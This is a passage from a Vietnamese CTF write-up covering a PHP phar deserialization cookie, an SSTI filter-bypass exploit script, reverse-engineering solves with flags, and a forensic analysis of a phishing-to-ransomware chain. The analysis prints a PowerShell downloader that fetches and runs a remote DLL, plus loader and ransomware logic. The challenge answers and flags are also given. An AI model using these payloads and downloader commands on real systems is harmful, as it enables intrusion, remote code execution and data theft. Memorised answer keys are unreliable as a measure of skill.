Cookie: user=Tzo3OiJMb2dGaWxlIjoxOntzOjg6ImZpbGVuYW1lIjtzOjUyOiJwaGFyOi8vL3Zhci93d3cvaHRtbC91cGxvYWQvZHZrZmRrdmtkbS9raGllbXBwcGQuanBnIjt9
Connection: keep-alive
```
> trigger

---
### Magic Random

Đây là chall về bypass SSTI, filter hầu hết các kí tự. Còn có `shuffle` lại các kí tự không phải `a - z`, `A - Z`, `0 - 9` và space.
Ý tưởng ở đây là lợi dụng `__doc__` và `__add__` để nối thành attribute phù hợp.
```
def get_doc_indices(char, doc):
return [i for i, c in enumerate(doc) if c == char]
def build_add_chain(word, doc):
chain_parts = []
for c in word:
if c == "*":
chain_parts.append("{}.__doc__[237]")
else:
indices = get_doc_indices(c, doc)
if not indices:
raise ValueError(f"Character '{c}' not found in docstring.")
idx = indices[0]
chain_parts.append(f"(()).__doc__[{idx}]")
chain = chain_parts[0]
for part in chain_parts[1:]:
chain = f"({chain}).__add__({part})"
return chain
doc = tuple.__doc__
str_sys = build_add_chain("sys", doc)
str_os = build_add_chain("os", doc)
str_popen = build_add_chain("popen", doc)
command = build_add_chain("cat flag*", doc)
payload = f"license.__repr__.__globals__[{str_sys}].modules[{str_os}][{str_popen}]({command}).read()"
print(payload)
```
> code gen payload
```
import random
import requests
url = "http://127.0.0.1:9000"
def reverse_shuffle(output, seed):
arr = list(output)
n = len(arr)
indices = list(range(n))
random.seed(seed)
random.shuffle(indices)
original = [None] * n
for i, j in enumerate(indices):
original[j] = arr[i]
return ''.join(original)
if __name__ == "__main__":
for seed in range(50):
template = "{{license.__repr__.__globals__[(((()).__doc__[19]).__add__((()).__doc__[86])).__add__((()).__doc__[19])].modules[((()).__doc__[34]).__add__((()).__doc__[19])][(((((()).__doc__[84]).__add__((()).__doc__[34])).__add__((()).__doc__[84])).__add__((()).__doc__[17])).__add__((()).__doc__[7])]((((((((((()).__doc__[25]).__add__((()).__doc__[14])).__add__((()).__doc__[4])).__add__((()).__doc__[8])).__add__((()).__doc__[31])).__add__((()).__doc__[3])).__add__((()).__doc__[14])).__add__((()).__doc__[38])).__add__({}.__doc__[237])).read()}}"
payload = reverse_shuffle(template, seed)
params = {"attack_name": payload}
r = requests.get(f"{url}/api/cast_attack", params=params)
if 'HOLACTF{' in r.text:
print("Response:", r.text)
```
> exploit
---
## REV
### RE102


file elf có vẻ bị pack bằng upx, với chút custom.
ko rõ có cách nào unpack bằng tool hay không, nhưng mà mình chọn cách unpack bằng cách debug rồi dump ra.






lúc này ta có thể thấy file elf:

ta dump ra được file elf:

ta chú ý luồng full access của chương trình:

flag được decrypt bằng mã hóa aes cbc, ta chỉ cần nhặt data ra decrypt hoặc debug rồi dump ra.

phần khó nhất của bài này chắc là đoán format flag :\)
flag: `HOLACTF{1b0b403ac790763ba5218d13801aa4e801c5947d4d25705006e5c603b08807f2}`
### RE103

Bài khá nhiều fake flag và anti debug, tuy nhiên ta chỉ cần chú ý luồng thắng của bài:

chú ý hàm `DecryptProtectedData`:
```csharp=
private static string DecryptProtectedData()
{
string result;
try
{
byte[] cipherKey = NetworkConfigurationManager.ReconstructCipherKey();
byte[] bytes = NetworkConfigurationManager.ProcessDataWithCipher(NetworkConfigurationManager.g_lpCriticalSystemData, cipherKey);
string @string = Encoding.UTF8.GetString(bytes);
if (!@string.StartsWith("HOLACTF{"))
{
throw new InvalidOperationException("Data integrity validation failed");
}
result = @string;
}
catch
{
result = NetworkConfigurationManager.GetFallbackResponse();
}
return result;
}
private static byte[] ReconstructCipherKey()
{
byte[] array = new byte[NetworkConfigurationManager.g_bSecurityToken1.Length + NetworkConfigurationManager.g_bSecurityToken2.Length];
for (int i = 0; i < NetworkConfigurationManager.g_bSecurityToken1.Length; i++)
{
array[i] = (NetworkConfigurationManager.g_bSecurityToken1[i] ^ NetworkConfigurationManager.g_bSystemIdentifier1[i % NetworkConfigurationManager.g_bSystemIdentifier1.Length]);
array[i] = (byte)((int)array[i] ^ NetworkConfigurationManager.g_dwHashSalt1);
byte[] array2 = array;
int num = i;
array2[num] ^= NetworkConfigurationManager.g_bSystemIdentifier1[i % NetworkConfigurationManager.g_bSystemIdentifier1.Length];
array[i] = (byte)((int)array[i] ^ NetworkConfigurationManager.g_dwHashSalt1);
}
for (int i = 0; i < NetworkConfigurationManager.g_bSecurityToken2.Length; i++)
{
array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (NetworkConfigurationManager.g_bSecurityToken2[i] ^ NetworkConfigurationManager.g_bSystemIdentifier2[i % NetworkConfigurationManager.g_bSystemIdentifier2.Length]);
array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (byte)((int)array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] ^ NetworkConfigurationManager.g_dwHashSalt2);
byte[] array3 = array;
int num2 = NetworkConfigurationManager.g_bSecurityToken1.Length + i;
array3[num2] ^= NetworkConfigurationManager.g_bSystemIdentifier2[i % NetworkConfigurationManager.g_bSystemIdentifier2.Length];
array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (byte)((int)array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] ^ NetworkConfigurationManager.g_dwHashSalt2);
}
return array;
}
// Token: 0x06000020 RID: 32 RVA: 0x00002FD0 File Offset: 0x000011D0
private static byte[] ProcessDataWithCipher(byte[] inputData, byte[] cipherKey)
{
byte[] array = new byte[256];
for (int i = 0; i < 256; i++)
{
array[i] = (byte)i;
}
int num = 0;
for (int i = 0; i < 256; i++)
{
num = (num + (int)array[i] + (int)cipherKey[i % cipherKey.Length]) % 256;
byte b = array[i];
array[i] = array[num];
array[num] = b;
}
byte[] array2 = new byte[inputData.Length];
int num2 = 0;
int num3 = 0;
for (int i = 0; i < inputData.Length; i++)
{
num2 = (num2 + 1) % 256;
num3 = (num3 + (int)array[num2]) % 256;
byte b = array[num2];
array[num2] = array[num3];
array[num3] = b;
array2[i] = (inputData[i] ^ array[(int)(array[num2] + array[num3]) % 256]);
}
return array2;
}
```
chỉ là mã hóa rc4 đơn giản, ta chỉ cần nhặt key với ciphertext ra là được.
```python=
from Crypto.Cipher import ARC4
import sys
key = bytes([95, 96, 125, 118, 117, 126, 114, 125, 126, 118])
enc = bytes([
135, 116, 43, 205, 242, 219, 162, 153, 39, 86,
151, 35, 169, 72, 219, 6, 232, 131, 21, 211,
120, 125, 79, 93, 11, 233, 51, 146, 65, 182,
177, 104, 154, 123, 29, 115, 212, 109, 133, 16
])
cipher = ARC4.new(key)
flag = cipher.decrypt(enc)
print("HOLACTF{"+flag.hex()+"}")
#HOLACTF{745d40e06ec4ab2f33d11cd84215f62cd4b2e2705c0428df0249db3370bbc8a3990447771481ba85}
```
## FORENSICS
### APT

1 bài for điều tra hay đến từ author TMQ, bài cung cấp cho mình 1 file ad1 và nhiệm vụ của mình là điều tra và trả lời các câu hỏi tương ứng:
Sơ qua thì flow của chall này như sau:
`Thunderbird → ZIP → HTML → JS → BAT → DLL → tải steam.enc → RC4 giải → EXE → DLL →ransomware...`
Mở fille ad1 mà challenge cung cấp với FTK imager, ta thấy rằng author cung cấp cho ta folder Users, Winevtx chứa windows event log và folder prefetch.
Truy cập vào User tmq trên máy, ở các folder của người dùng tmq các file đã bị mã hóa với đuôi .EHC, bước đầu cho thấy rằng victim đã bị tấn công ransomeware
Ở Roaming folder mình thấy nơi đây chứa dữ liệu của Thunderbird -> lưu profile email (account, mật khẩu đã lưu, lịch sử email).

Theo đó, mình tiếp tục tìm thấy 1 email đáng ngờ được gửi lúc 19:42:55

Mở email này với công cụ [emlreader](https://www.emlreader.com/)

1 email được gửi đính kèm file nén zip cùng mật khẩu là thptqg. Sau khi giải nén ta được 1 file có tên diemchuan.html

Bên trong mình tìm thấy 1 đoạn mã js xử lý chuỗi `==wckF2bs52dvRUPl1WYulXYsB3cpRmJcR3bvJ1VXdldhREXMN1UABHch5SZlJnZts2bydmbuQGNjZmZkljMhRjY1wFX642bpRXYj9Gb9IWb1J3YmYzMwIzRRRFUIR1XphGVfl3SfFWdR9FdltUP5JXZ1FnOz1WLoNmchV2c` sau đó chuyển tiếp đến đường dẫn sau khi xử lý.
Đến đây ta có thể xác định được đây chính xác là malicous trong bài này.
#### Q1: The user opened a software that contained malicious content from the attacker. What was the name of the software? -> `Thunderbird`
#### Q2: What is the name of the file that makes user fall into the attacker's trap? -> `diemchuan.html`
Dưạ vào thông tin về tấn công ban đầu, attacker gửi email phishing cho victim bao gồm tệp malicious đính kèm

#### Q3: What MITRE ATT&CK techniques did the attacker use? -> `T1566.001`

Sau khi decode, đường dẫn được chuyển tiếp tới là 1 đường dẫn ngrok
Ban đầu mình truy cập được vào `https://5b4a29dffc4d.ngrok-free.app` và lấy được 1 file bat chứa mã powershell, tuy nhiên có vẻ đây là hướng unintended bởi vì tác giả đã đóng ngay sau đó
Nếu đúng hướng, ta có thể check windows powershell log

```bat
powershell -EncodedCommand UABvAHcAZQByAHMASABlAEwAbAAgAC0AIgBlACIAcAAgAEIAIgB5ACIAcABhAHMAcwAgABQgVwAgAGgAIgBpAGQAZAAiAGUAbgAgABUgYwAiAE8ATQAiAG0AYQAgACcAWwBOACIAZQB0AC4AUwBlACIAcgB2ACIAaQAiAGMAZQBQACIAbwAiAGkAbgAiAHQATQAiAGEAIgBuACIAYQAiAGcAIgBlAHIAXQA6ADoAUwAiAGUAIgBjACIAdQByACIAaQAiAHQAeQBQAHIAbwAiAHQAbwAiAGMAbwAiAGwAIAA9ACAAWwBOAGUAIgB0AC4AUwAiAGUAIgBjAHUAcgBpACIAdAAiAHkAIgBQAHIAIgBvAHQAIgBvAGMAIgBvACIAbABUAHkAIgBwAGUAXQA6ADoAVAAiAGwAIgBzACIAMQAyADsAIAAkAHAAIAA9ACAASgBvACIAaQAiAG4ALQBQAGEAIgB0ACIAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAIgBsAC4AZAAiAGwAIgBsACIAOwAgAGkAdwByACAAIgBoACIAdAAiAHQAIgBwACIAcwA6AC8AIgAvAGYAaQAiAGwAZQBzAC4AcwBhAGsAYQAiAG0AIgBvACIAdAAiAG8ALgBtAG8AIgBlAC8ANAAxACIAZAAiAGIAZQA3ACIAYQBjACIANwBiACIANwAzAF8AbABvAGEAZABlAHIALgBkAGwAbAAiACAALQAiAE8AIgB1ACIAdAAiAEYAIgBpACIAbABlACAAJABwADsAIABTACIAdAAiAGEAcgB0AC0AIgBQACIAcgAiAG8AYwBlACIAcwBzACAAcgB1ACIAbgAiAGQAbABsADMAIgAyACIAIAAtAEEAcgBnACIAdQAiAG0AZQAiAG4AIgB0ACIATABpACIAcwB0ACAAIgAkAHAALABSAHUAbgAiACAALQBXACIAYQAiAGkAdAA7ACAAZABlAGwAIAAkAHAAIAAtAEYAIgBvACIAcgBjAGUAJwA=
```

Sau khi deobf sẽ thành như sau
```powershell!
Powershell -ep Bypass -WindowStyle Hidden -Command '
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
$p = Join-Path $env:TEMP "l.dll";
iwr "https://files.sakamoto.moe/41dbe7ac7b73_loader.dll" -OutFile $p;
Start-Process rundll32 -ArgumentList "$p,Run" -Wait;
del $p -Force
'
```
Tiếp tục tải xuống file dll từ url `https://files.sakamoto.moe/41dbe7ac7b73_loader.dll` và lưu vào file `l.dll`
#### Q4: What is the domain of the website where the malicious file for stage 2 is located? -> sakamoto.moe
Truy cập url để tải file về, mở với ida để xem
```c
__int64 FlowAllocation()
{
char v1[272]; // [rsp+20h] [rbp-60h] BYREF
CHAR Buffer[268]; // [rsp+130h] [rbp+B0h] BYREF
unsigned int v3; // [rsp+23Ch] [rbp+1BCh] BYREF
_QWORD v4[5]; // [rsp+240h] [rbp+1C0h] BYREF
char v5[16]; // [rsp+268h] [rbp+1E8h] BYREF
HGLOBAL hMem; // [rsp+278h] [rbp+1F8h]
qmemcpy(v4, "2..*)`uu<36?)t);1;75.5t75?u;j<nn", 32);
v4[4] = 0x5626E6D3F696D68LL;
strcpy(v5, ").?;7t?49");
LoopForHook(v4, 49LL);
v3 = 0;
hMem = (HGLOBAL)IsBufferLoader(v4, &v3);
if ( !hMem || !v3 )
return 1LL;
WriteMemcpy(hMem, v3, "C:\\Users\\public\\Miyamizu_Mitsuha.yourname");
RC4(&unk_33E154020, 16LL, hMem, v3);
GetTempPathA(0x104u, Buffer);
sprintf(v1, "%ssteam.exe", Buffer);
WriteMemcpy(hMem, v3, v1);
GlobalFree(hMem);
DeleteAPI(v1);
return 0LL;
}
unsigned __int64 __fastcall LoopForHook(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 result; // rax
unsigned __int64 i; // [rsp+8h] [rbp-8h]
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a2 )
break;
*(_BYTE *)(a1 + i) ^= 0x5Au;
}
return result;
}
char *__fastcall IsBufferLoader(const CHAR *a1, _DWORD *a2)
{
DWORD dwNumberOfBytesRead; // [rsp+3Ch] [rbp-24h] BYREF
char *v4; // [rsp+40h] [rbp-20h]
HINTERNET hFile; // [rsp+48h] [rbp-18h]
HINTERNET hInternet; // [rsp+50h] [rbp-10h]
int v7; // [rsp+5Ch] [rbp-4h]
hInternet = InternetOpenA("L", 1u, 0LL, 0LL, 0);
if ( !hInternet )
return 0LL;
hFile = InternetOpenUrlA(hInternet, a1, 0LL, 0, 0x80000000, 0LL);
if ( hFile )
{
v4 = (char *)GlobalAlloc(0x40u, 0x7800000uLL);
if ( v4 )
{
v7 = 0;
for ( dwNumberOfBytesRead = 0;
InternetReadFile(hFile, &v4[v7], 0x2000u, &dwNumberOfBytesRead) && dwNumberOfBytesRead;
v7 += dwNumberOfBytesRead )
{
;
}
*a2 = v7;
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return v4;
}
else
{
return 0LL;
}
}
else
{
InternetCloseHandle(hInternet);
return 0LL;
}
}
```
Chuỗi URL được lưu obfuscate trong code → giải mã bằng XOR (0x5A). Tải payload từ Internet (qua WinInet) và lưu vào file Miyamizu_Mitsuha.yourname. Giải mã payload bằng RC4. Ghi ra file giả dạng steam.exe trong %TEMP%. Cuối cùng là xóa dấu vết
```python!
def xor_decode(data: bytes, key: int = 0x5A) -> str:
return ''.join(chr(b ^ key) for b in data)
def main():
v4 = bytearray(b"2..*)`uu<36?)t);1;75.5t75?u;j<nn")
v4.extend((0x5626E6D3F696D68).to_bytes(8, "little"))
v5 = bytearray(b").?;7t?49")
url_prefix = xor_decode(v4)
url_suffix = xor_decode(v5)
full_url = url_prefix + url_suffix
print(full_url)
if __name__ == "__main__":
main()
```
Sau khi giải mã kết qủa là `https://files.sakamoto.moe/a0f44273e748_steam.enc`
#### Q5: Digging into the malicious file, what was the original name of the encrypted file that was downloaded? -> `steam.enc`
Sau khi tải xuống, đoạn mã giải mã bằng rc4 với key là danh sách các byte trong unk_33E154020

#### Q6: What is the encryption algorithm and key to decrypt the encrypted payload? (Convert it to hex) -> `RC4_0x3a,0x2d,0x1c,0x4d,0x5e,0x2f,0x7b,0x81,0x3d,0xab,0xbc,0xcd,0xde,0x2f,0xf0,0x01`
```python!
from Crypto.Cipher import ARC4
def rc4_decrypt_file(input_file, output_file, key_bytes):
# Đọc dữ liệu đã mã hóa
with open(input_file, 'rb') as f:
encrypted_data = f.read()
# Tạo đối tượng RC4 và giải mã
cipher = ARC4.new(key_bytes)
decrypted_data = cipher.decrypt(encrypted_data)
# Ghi dữ liệu đã giải mã ra file
with open(output_file, 'wb') as f:
f.write(decrypted_data)
print(f"✅ Đã giải mã thành công: {output_file}")
# --- Thiết lập ---
input_file = "C:/Users/Admin/Downloads/a0f44273e748_steam.enc"
output_file = "C:/Users/Admin/Downloads/sus.exe"
key_hex = [0x3a, 0x2d, 0x1c, 0x4d, 0x5e, 0x2f, 0x7b, 0x81,
0x3d, 0xab, 0xbc, 0xcd, 0xde, 0x2f, 0xf0, 0x01]
key_bytes = bytes(key_hex)
# --- Thực hiện giải mã ---
rc4_decrypt_file(input_file, output_file, key_bytes)
```
#### Q7: In stage 3, which C2 IP address is the user's network traffic transmit to?
Câu này để tiết kiệm thời gian thì mình phân tích động nó luôn rồi bật wireshark bắt ip, có được địa chỉ ip:
=> `192.168.244.129`
TTruy vết các file bị mã hóa với file prefetch của steam.exe

Tuy nhiên mặc định của PEcmd là upercase các chuỗi, nên mình tìm tên file ghi trong đĩa

#### Q8: The attacker made a mistake, take advantage of it and tell us the name of files encrypted by attacker's ransomware in folder Videos ? -> `video.mp4`
Okay, bây giờ tiến hành giải phẫu để phân tích file exe, trước tiên mình dùng die để xacs định thông tin của nó

Overlay: offset 0x0090d600, size ~ 52 MB (!) → vùng dữ liệu lạ nằm sau phần PE chuẩn. Đây thường là:
Payload được nhúng (encrypted blob).
Hoặc dữ liệu packer sử dụng để giải nén khi runtime.
-> File có thể được drop ra từ loader (steam.exe) mà bạn phân tích trước đó.

Trong phần export lại thấy có chuỗi singlefilehost.exe. Đây là host binary (trình chạy) của .NET Core/.NET 5+ dùng cho các ứng dụng kiểu Single-File Deployment.
Khi build app .NET ở dạng self-contained single file (dotnet publish -r win-x64 -p:PublishSingleFile=true), .NET sẽ đóng gói tất cả DLL + runtime vào một file duy nhất.
File chạy chính lúc đó thực chất là một bản singlefilehost.exe đã được Microsoft cung cấp, nó chịu trách nhiệm:
Giải nén hoặc map các thành phần .NET runtime cần thiết từ trong chính nó.
Load CLR (Common Language Runtime).
Chạy code C# của bạn (assembly chính).
Nói cách khác, sus.exe mà ta phân tích thật ra chỉ là singlefilehost.exe được đổi tên + kèm payload .NET app ở bên trong.
Sau khi xác định được loại file che dấu bên trong, mình tìm các lấy file dll gốc ra

Mình tìm thấy công cụ [này](https://github.com/Droppers/SingleFileExtractor)
```bash
┌──(kali㉿kali)-[~/Downloads/holactf/THPT]
└─$ sfextract sus.exe --output extract
Entry point: minecraft.dll
Bundle version: 6.0
Extracted 168 files to "extract"
```

Mở nó với dnspy để phân tích
#### Q9: What are the contents of the file flag.txt? (Convert the content of the flag.txt to md5 and submit)
Ok giờ là đến bước rev con dotnet mà ta mới trích được ra, do mình gà khoản rev nên mình cho vô dnspy rồi cop hết các hàm cho ai, được nó phân tích như sau:

1) Obfuscation bằng emoji → Base64 → UTF-8
* Mọi hằng chuỗi (đường dẫn, tên file, URL, public key, phần mở rộng, v.v.) đều được viết bằng **emoji**.
* Hàm giải mã: `NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd(java)`
→ duyệt từng “text element” (emoji) → ánh xạ ngược qua `pdZuVvKNPFSscmrJcOBSJjLEW` để thu được **bảng chữ cái base64** → `Convert.FromBase64String` → UTF-8 string.
\=> Đây là “string decoder” cho toàn bộ chương trình. 
2) Khởi động (Main) → truyền tham số đã giải mã
* `Main()` giải mã một chuỗi siêu dài thành **RSA public key** của attacker (chuỗi bắt đầu kiểu “MIIBI…”) và một **danh sách thư mục con** (relative to `%USERPROFILE%`) để mã hoá (thấy thực tế là **Documents / Pictures / Videos / Downloads / Desktop** – khớp với dấu vết `Documents`, `Pictures`, `Videos` trong Prefetch bạn trích).
* Sau đó gọi:
`eLzUcATejKPOKKMlaYnpnwtwzJclOfwjWFRoaxlxd(dirs, pubKey)`. 
3) Tạo khoá phiên & cơ chế mã hoá file
3.1. Sinh key 32-byte:
* `OVixtxAlZgODrcwOVgagxeWAk()` → lấy 1024 byte **RNGCryptoServiceProvider** (CSPRNG), copy vào mảng `int[256]`.
* Tạo PRNG **ISAAC** với seed trên → rút **32 byte** cho biến `array` (đây là **file-key** lặp). 
3.2. “Khoá hiệu dụng” = biến đổi 1 byte lặp
* Biến đổi 1 byte: `gbTxSBXvOnHlWXYrw(b, rounds)` với `rounds=3`:
mỗi vòng: `b = ((b ^ 0xA5) + 37) & 0xFF`.
* Mã hoá cả file: `TxWVCaCGswNFFkFNyyuGYebzTnmKMI(plaintext, key=array, rounds=3)`
→ với từng vị trí i:
`E[i] = P[i] XOR F( array[i mod 32] )`, trong đó `F(x)` = áp dụng phép **XOR 0xA5 rồi +37** **3 lần**.
\=> Thuật toán là **XOR lặp 32-byte với key đã “nắn” qua F** (tự đảo ngược bằng XOR, nên giải mã = XOR lại với cùng “keystream”). 
4) Đổi tên & mở rộng file sau khi mã hoá
* Tạo tên ngẫu nhiên 20 ký tự: `eOUFdPmHAHcqPJQRyafSXBf(20)` (alphabet “Kitakitasuru…”) → nhìn giống tiền tố “Kita…”.
* Phần mở rộng giải từ emoji ra chính là **`.EHC`** (khớp hiện trường: `XRYVSOZYAITKUZSIKTRX.EHC`, `…\PICTURES\*.EHC`, v.v.).
* Mỗi file gốc được ghi thành `<random20>.EHC` rồi **xoá file gốc**. 
5) Thu thập & exfil khoá (attacker “chữa cháy” để tự giải)
5.1. Bọc key 32B bằng AES rồi RSA:
* `lSJNJosACuzaDIkQoaEIkvSckaEPgrBKmY(data=array, out key, out iv)`
→ key/iv **được suy ra từ SHA-256** của một **chuỗi hằng** giải qua emoji (copy 32 byte cho AES-256 key, 16 byte cuối cho IV), rồi **AES-CBC/PKCS7 encrypt** chính `array`.
* `ddAxJkAciSG( AES(data) || key || iv , pubKey )`
→ **RSA-OAEP(SHA256) encrypt** toàn bộ gói trên bằng **public key** của attacker.
(Việc lồng AES rồi lại RSA chỉ để “màu mè”; bản chất attacker cầm private key là đọc ra được `array`.) 
5.2. Lưu dấu vết & nén:
* Tạo thư mục `%TEMP%\MAICRAFT_<GUID>\` (tên giải từ emoji; hiện trường đúng có `…\TEMP\MAICRAFT_...`).
* Ghi file (tên giải ra “**KITA.KEY**”) chứa **blob RSA** ở trên.
* Ghi thêm **danh sách các file đã mã hoá** (list path).
* `lzzmjArGgUUExMs…(outputArchive, files...)` → gọi **7z** (đường dẫn + tham số giải từ emoji) để nén tất cả thành **.7z**. 
5.3. Upload C2:
* `hVQylKhewOSgWxHuxbNcBpLUQmdgVGemoKmKEvbqat(archive)` → **HTTP POST** lên URL **giải từ emoji**, **bỏ qua kiểm tra chứng chỉ** (`DangerousAcceptAnyServerCertificateValidator`).
* Chờ 5s → **xoá sạch** thư mục tạm. 
6) Thư mục bị tác động
Trong `eLzUcAT…`, chương trình lấy `folderPath = %USERPROFILE%` rồi **ghép các “dirs” đã giải mã**; với mẫu CTF này khớp `Documents / Pictures / Videos / Downloads / Desktop` (bạn đã thấy Prefetch & hiện trường có `…\DOCUMENTS`, `…\PICTURES`, `…\VIDEOS`). 
7) Vì sao Q9 giải được dù key là ngẫu nhiên?
* “Sai lầm” của attacker: để **lộ file gốc** (Q8: `VIDEO.MP4`).
* Do **E = P XOR G** (G là keystream 32-byte sau khi qua F), ta rút ngay **G = P XOR E** từ cặp `video.mp4` ↔ `video.mp4.ehc`.
* Có G rồi thì **giải mọi file khác**, trong đó có `flag.txt.ehc`, **không cần** biết `array` hay đảo ngược F. (Bạn đã trích được **keystream period 32** – chuẩn với code.) 
```c
// Main
pubKey = DecodeEmojiB64(EMOJI_STR);
dirs = [DecodeEmojiB64(...), ...]; // relative under %USERPROFILE%
RunRansom(pubKey, dirs);
// RunRansom
seed = RNGCrypto(1024 bytes) -> int[256];
isaac = ISAAC(seed);
array = isaac.nextBytes(32); // file-key (period 32)
// Encrypt files
for file in Enumerate(%USERPROFILE%\dirs):
keystream[i] = F(array[i mod 32]); // F(x): repeat 3 times { x = (x ^ 0xA5) + 37 }
E[i] = P[i] XOR keystream[i];
name = RandString(20, "Kitakitasuru..") + ".EHC";
write(name, E), delete(file);
// Exfil key & list
aesKey, iv = DeriveFrom(SHA256(DecodeEmojiB64(...)));
payload = RSA_OAEP( AES_CBC_Encrypt(array, aesKey, iv) || aesKey || iv , pubKey );
write(%TEMP%\MAICRAFT_<GUID>\KITA.KEY, payload);
write(%TEMP%\MAICRAFT_<GUID>\filelist.txt, list);
// Pack & upload
SevenZip(%TEMP%\MAICRAFT_<GUID>\dump.7z, all_files_in_folder);
HTTP_POST(DecodeEmojiB64(URL), dump.7z, ignore_cert=true);
cleanup();
```
Ở (7) mình đã chỉ ra: attacker lỡ để sót bản gốc của mẫu video trong vùng tạm VMwareDnD:


Trong khi bản trong Videos đã bị mã hoá và đổi tên sang đuôi .EHC. Với cặp plaintext ↔ ciphertext này, ta áp dụng known-plaintext:
Ransomware mã hoá byte-wise theo công thức tổng quát E = P XOR G, trong đó G là keystream lặp chu kỳ 32 byte (đã bị “nắn” bởi hàm biến đổi nội bộ F).
Vì thế có ngay G = P XOR E. Không cần biết (hay đảo) F, chỉ cần keystream sau F là đủ để giải tất cả file khác (trong đó có flag.txt.ehc).
Tiếp tục dùng AI để gen script:
```python!
# derive_xor_key.py
# usage: python derive_xor_key.py
# files expected in same dir:
# - video.mp4
# - xrYvsozYaitKuzsiktrX.EHC
import hashlib, os
ORIG = "video.mp4"
ENC = "xrYvsozYaitKuzsiktrX.EHC"
# bytes to analyze (enough for robust period detect)
HEAD = 2_000_000 # 2 MB
def read_head(path, n):
with open(path, "rb") as f:
return f.read(n)
def derive_stream(P, E, model):
if model == "plain":
return bytes([e ^ p for p, e in zip(P, E)])
elif model == "minus37":
return bytes([e ^ ((p - 37) & 0xFF) for p, e in zip(P, E)])
elif model == "plus37":
return bytes([e ^ ((p + 37) & 0xFF) for p, e in zip(P, E)])
else:
raise ValueError("bad model")
def score_period(stream, L, sample_stride=997):
"""Return mismatch count when assuming period L (sampled for speed)."""
mismatches = 0
n = len(stream)
if n == 0: return 0
pat = stream[:L]
# sample across the stream
i = 0
while i < n:
if stream[i] != pat[i % L]:
mismatches += 1
i += sample_stride
return mismatches
def find_best_period(stream, max_period=128):
"""Find smallest L with lowest mismatch score; returns (L, pattern, score)."""
best = None
for L in range(1, max_period + 1):
s = score_period(stream, L)
if best is None or (s, L) < (best[2], best[0]):
best = (L, stream[:L], s)
if s == 0: # perfect periodic
break
return best # (L, pat, score)
def hex_list(b):
return ", ".join(f"0x{v:02x}" for v in b)
def main():
P = read_head(ORIG, HEAD)
E = read_head(ENC, HEAD)
n = min(len(P), len(E))
P, E = P[:n], E[:n]
if n == 0:
print("[-] Input files are empty or not found.")
return
results = []
for model in ("plain", "minus37", "plus37"):
stream = derive_stream(P, E, model)
L, pat, score = find_best_period(stream)
results.append((score, L, pat, model))
# choose by (fewest mismatches, then smallest period)
results.sort(key=lambda t: (t[0], t[1]))
score, L, key_pat, model = results[0]
print(f"[+] Model chọn : {model}")
print(f"[+] Period (bytes) : {L}")
print(f"[+] Mismatch score : {score} (0 là hoàn hảo)")
print(f"[+] Key (hex) : {hex_list(key_pat)}")
# save artifacts
with open("key.bin", "wb") as f:
f.write(key_pat)
with open("key_hex.txt", "w", encoding="utf-8") as f:
f.write(hex_list(key_pat) + "\n")
f.write(f"model={model}, period={L}\n")
print("[+] Đã lưu key vào key.bin và key_hex.txt")
if __name__ == "__main__":
main()
```

Bây giờ đã có key thì mình trích hết các files bị mã hóa ở desktop để giải mã , tìm lại file flag.txt cần tìm:

```python!
# decrypt_folder_xor.py
# Giải mã toàn bộ *.EHC bằng XOR key (period 32) và đoán đuôi theo magic bytes.
# Usage:
# python decrypt_folder_xor.py # giải trong thư mục hiện tại
# python decrypt_folder_xor.py path\to\dumped_files
import sys, os, hashlib, re
from pathlib import Path
# === KEY (period 32) bạn đã trích ===
KEY = bytes([
0x55,0x3c,0x63,0x65,0x6d,0xcb,0xe8,0x61,
0x28,0x14,0x07,0x89,0xff,0x5c,0x14,0x6e,
0x12,0xbb,0x58,0x54,0xbc,0x9a,0x25,0x9a,
0x94,0x71,0x89,0xa3,0x10,0x0f,0x2f,0xfa
])
KEYLEN = len(KEY)
OUT_ROOT = Path("decrypted_out")
MAGICS = [
(b"\x00\x00\x00\x18ftyp", ".mp4"), # some mp4
(b"\x00\x00\x00\x14ftyp", ".mp4"), # mp4 variant
(b"ftyp", ".mp4"), # generic ftyp check (within first 16 bytes)
(b"\x89PNG\r\n\x1a\n", ".png"),
(b"\xff\xd8\xff", ".jpg"),
(b"%PDF-", ".pdf"),
(b"PK\x03\x04", ".zip"), # docx/xlsx/pptx are ZIP-based; đuôi sẽ là .zip nếu không rõ
(b"MZ", ".exe"), # exe/dll; không phân biệt được -> tạm .exe
]
FLAG_RE = re.compile(rb"HOLACTF\{[^}]{0,200}\}")
def guess_ext(plain_head: bytes) -> str:
head = plain_head[:32]
# strong matches first
for sig, ext in MAGICS:
if sig in head:
return ext
# try TXT if looks mostly printable
textish = sum(32 <= b < 127 or b in (9,10,13) for b in plain_head[:512])
if textish >= 0.90 * min(512, len(plain_head)):
return ".txt"
return ".bin"
def xor_stream_file(in_path: Path, out_path: Path):
out_path.parent.mkdir(parents=True, exist_ok=True)
md5 = hashlib.md5()
flag_hits = []
# đọc 64KB/chunk, giữ offset để lặp key đúng vị trí
offset = 0
with in_path.open("rb") as fi, out_path.open("wb") as fo:
while True:
chunk = fi.read(65536)
if not chunk: break
dec = bytes(b ^ KEY[(offset + i) % KEYLEN] for i, b in enumerate(chunk))
fo.write(dec)
md5.update(dec)
# quét flag trong mỗi chunk (có thể cross-boundary nhưng đủ để phát hiện đa số trường hợp)
m = FLAG_RE.search(dec)
if m:
try:
flag_hits.append(m.group().decode("utf-8"))
except UnicodeDecodeError:
pass
offset += len(chunk)
return md5.hexdigest(), flag_hits
def peek_plain_head(in_path: Path, max_bytes=4096) -> bytes:
# Giải mã nhanh phần đầu để đoán đuôi
head = in_path.read_bytes()[:max_bytes]
dec = bytes(b ^ KEY[i % KEYLEN] for i, b in enumerate(head))
return dec
def main():
root = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(".")
if not root.exists():
print(f"[-] Không thấy thư mục: {root}")
sys.exit(1)
targets = [p for p in root.rglob("*") if p.is_file() and p.suffix.lower() == ".ehc"]
